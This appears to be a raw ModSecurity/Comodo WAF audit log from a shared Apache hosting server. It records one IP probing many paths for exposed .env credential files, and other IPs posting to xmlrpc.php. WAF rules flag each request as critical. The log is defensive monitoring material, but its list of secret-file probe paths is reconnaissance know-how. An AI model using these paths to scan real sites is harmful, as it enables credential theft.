"aE9-DQD0DwMUVKUIct3awgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040077764899 707186 (- - -) Stopwatch2: 1750040077764899 707186; combined=1817, p1=371, p2=1349, p3=0, p4=0, p5=96, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b6eb5262-Z-- --01cd0376-A-- [16/Jun/2025:07:44:41.486294 +0530] aE9-EOMjvy_LHXlMeRAYOAAAAAU 185.177.72.210 52816 127.0.0.1 7081 --01cd0376-B-- GET /:8080/.env.save HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --01cd0376-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2cf67431bace5f310a74b5916af596b81750040081; expires=Mon, 16 Jun 2025 03:14:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --01cd0376-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.save"] [unique_id "aE9-EOMjvy_LHXlMeRAYOAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040080829466 656892 (- - -) Stopwatch2: 1750040080829466 656892; combined=2186, p1=469, p2=1607, p3=0, p4=0, p5=109, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --01cd0376-Z-- --29222d5a-A-- [16/Jun/2025:07:44:54.067623 +0530] aE9-HWCnKbldJKSM7awdrgAAAAc 185.177.72.210 57990 127.0.0.1 7081 --29222d5a-B-- GET /:5601/.env.sample HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --29222d5a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0bab8f046ad54ea6f875e772042de6a11750040093; expires=Mon, 16 Jun 2025 03:14:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --29222d5a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.sample"] [unique_id "aE9-HWCnKbldJKSM7awdrgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040093403645 664043 (- - -) Stopwatch2: 1750040093403645 664043; combined=1991, p1=354, p2=1506, p3=0, p4=0, p5=130, sr=78, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --29222d5a-Z-- --f2614d12-A-- [16/Jun/2025:07:45:07.129523 +0530] aE9-KqvO5IZc5ZzLe_3qiQAAAAA 185.177.72.210 55902 127.0.0.1 7081 --f2614d12-B-- GET /:8443/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f2614d12-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8c127b75114c078c6a71802a2182c93a1750040106; expires=Mon, 16 Jun 2025 03:15:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f2614d12-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.local"] [unique_id "aE9-KqvO5IZc5ZzLe_3qiQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040106371931 757656 (- - -) Stopwatch2: 1750040106371931 757656; combined=1706, p1=386, p2=1219, p3=0, p4=0, p5=101, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f2614d12-Z-- --9662bf64-A-- [16/Jun/2025:07:45:08.231563 +0530] aE9-K1LyTgTLRBnIBDZhBgAAAAM 223.233.68.38 56100 127.0.0.1 7081 --9662bf64-B-- POST /xmlrpc.php HTTP/1.0 Host: archangledesignstudio.com X-Real-IP: 223.233.68.38 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 679 Content-Type: text/xml; charset=utf-8 Accept: */* Accept-Language: en-IN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 --9662bf64-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding,User-Agent Content-Type: text/xml; charset=UTF-8 --9662bf64-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 223.233.68.38 (0+1 hits since last alert)|archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 223.233.68.38 (0+1 hits since last alert)|archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "archangledesignstudio.com"] [uri "/xmlrpc.php"] [unique_id "aE9-K1LyTgTLRBnIBDZhBgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/archangledesignstudio.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040107982233 249405 (- - -) Stopwatch2: 1750040107982233 249405; combined=2509, p1=381, p2=1665, p3=78, p4=56, p5=201, sr=103, sw=128, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9662bf64-Z-- --906a6007-A-- [16/Jun/2025:07:45:10.213464 +0530] aE9-LeMjvy_LHXlMeRAYSwAAAAU 185.177.72.210 38614 127.0.0.1 7081 --906a6007-B-- GET /:8008/data/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --906a6007-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=18dedcffc8d1b61862c01808289ad9461750040110; expires=Mon, 16 Jun 2025 03:15:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --906a6007-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/data/.env"] [unique_id "aE9-LeMjvy_LHXlMeRAYSwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040109560570 652982 (- - -) Stopwatch2: 1750040109560570 652982; combined=1664, p1=356, p2=1183, p3=0, p4=0, p5=124, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --906a6007-Z-- --acb5c15b-A-- [16/Jun/2025:07:45:22.529960 +0530] aE9-OUN_xpBAtP8SIP08VQAAAAo 185.177.72.210 50850 127.0.0.1 7081 --acb5c15b-B-- GET /:8080/wp-admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --acb5c15b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2f5e6179726ad0dae5f381219262adea1750040122; expires=Mon, 16 Jun 2025 03:15:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --acb5c15b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/wp-admin/.env"] [unique_id "aE9-OUN_xpBAtP8SIP08VQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040121895600 634423 (- - -) Stopwatch2: 1750040121895600 634423; combined=1987, p1=400, p2=1483, p3=0, p4=0, p5=104, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --acb5c15b-Z-- --6670281d-A-- [16/Jun/2025:07:45:35.414239 +0530] aE9-RgD0DwMUVKUIct3a3wAAAAI 128.199.112.101 45032 127.0.0.1 7081 --6670281d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6670281d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6670281d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9-RgD0DwMUVKUIct3a3wAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040134478471 935823 (- - -) Stopwatch2: 1750040134478471 935823; combined=2011, p1=324, p2=1314, p3=37, p4=58, p5=173, sr=90, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6670281d-Z-- --e726ae76-A-- [16/Jun/2025:07:46:01.357377 +0530] aE9-YPvF1ly0gx5reNmHxQAAAAE 185.177.72.210 52736 127.0.0.1 7081 --e726ae76-B-- GET /chiminey/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e726ae76-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=104e3877e66a1bfdbb178d194809e0b71750040161; expires=Mon, 16 Jun 2025 03:16:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e726ae76-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/chiminey/.env"] [unique_id "aE9-YPvF1ly0gx5reNmHxQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040160677642 679808 (- - -) Stopwatch2: 1750040160677642 679808; combined=1668, p1=348, p2=1203, p3=0, p4=0, p5=117, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e726ae76-Z-- --78e3996a-A-- [16/Jun/2025:07:46:35.837916 +0530] aE9-ggD0DwMUVKUIct3bCQAAAAI 128.199.112.101 46978 127.0.0.1 7081 --78e3996a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --78e3996a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --78e3996a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9-ggD0DwMUVKUIct3bCQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040194899621 938359 (- - -) Stopwatch2: 1750040194899621 938359; combined=2340, p1=354, p2=1527, p3=41, p4=86, p5=197, sr=102, sw=135, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --78e3996a-Z-- --85575539-A-- [16/Jun/2025:07:47:03.798305 +0530] aE9-nvvF1ly0gx5reNmH7gAAAAE 185.177.72.210 44872 127.0.0.1 7081 --85575539-B-- GET /:8443/core/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --85575539-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bb7eb75ed982f4fe89e2deec0ee8e2fa1750040223; expires=Mon, 16 Jun 2025 03:17:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --85575539-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/core/.env"] [unique_id "aE9-nvvF1ly0gx5reNmH7gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040222983026 815343 (- - -) Stopwatch2: 1750040222983026 815343; combined=2123, p1=459, p2=1558, p3=0, p4=0, p5=105, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --85575539-Z-- --2c0a0a79-A-- [16/Jun/2025:07:47:17.324718 +0530] aE9-rKvO5IZc5ZzLe_3q0gAAAAA 185.177.72.210 39972 127.0.0.1 7081 --2c0a0a79-B-- GET /static-html/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2c0a0a79-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=404f12a5108c892966527b4fad3b80901750040237; expires=Mon, 16 Jun 2025 03:17:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2c0a0a79-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/static-html/.env"] [unique_id "aE9-rKvO5IZc5ZzLe_3q0gAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040236578858 745933 (- - -) Stopwatch2: 1750040236578858 745933; combined=1978, p1=385, p2=1486, p3=0, p4=0, p5=107, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2c0a0a79-Z-- --6a57b665-A-- [16/Jun/2025:07:47:21.711417 +0530] aE9-sQS4XDlCv3KXioQLEgAAAAY 185.177.72.210 36700 127.0.0.1 7081 --6a57b665-B-- GET /:8181/sites/all/libraries/mailchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6a57b665-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=716d859443c14348bac5aef7e7ba60db1750040241; expires=Mon, 16 Jun 2025 03:17:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6a57b665-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/sites/all/libraries/mailchimp/.env"] [unique_id "aE9-sQS4XDlCv3KXioQLEgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040241023323 688159 (- - -) Stopwatch2: 1750040241023323 688159; combined=1994, p1=434, p2=1453, p3=0, p4=0, p5=106, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6a57b665-Z-- --f22bbc11-A-- [16/Jun/2025:07:47:35.305775 +0530] aE9-vvvF1ly0gx5reNmH_wAAAAE 185.177.72.210 59626 127.0.0.1 7081 --f22bbc11-B-- GET /:5000/.env.5 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f22bbc11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=487eca319b150e4cca297c4b2e08aab11750040255; expires=Mon, 16 Jun 2025 03:17:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f22bbc11-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.5"] [unique_id "aE9-vvvF1ly0gx5reNmH_wAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040254638882 666967 (- - -) Stopwatch2: 1750040254638882 666967; combined=1718, p1=383, p2=1245, p3=0, p4=0, p5=89, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f22bbc11-Z-- --c49e5c31-A-- [16/Jun/2025:07:47:35.821875 +0530] aE9-vokQyF8-ounHsxsMAQAAAA8 128.199.112.101 59652 127.0.0.1 7081 --c49e5c31-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c49e5c31-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c49e5c31-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last 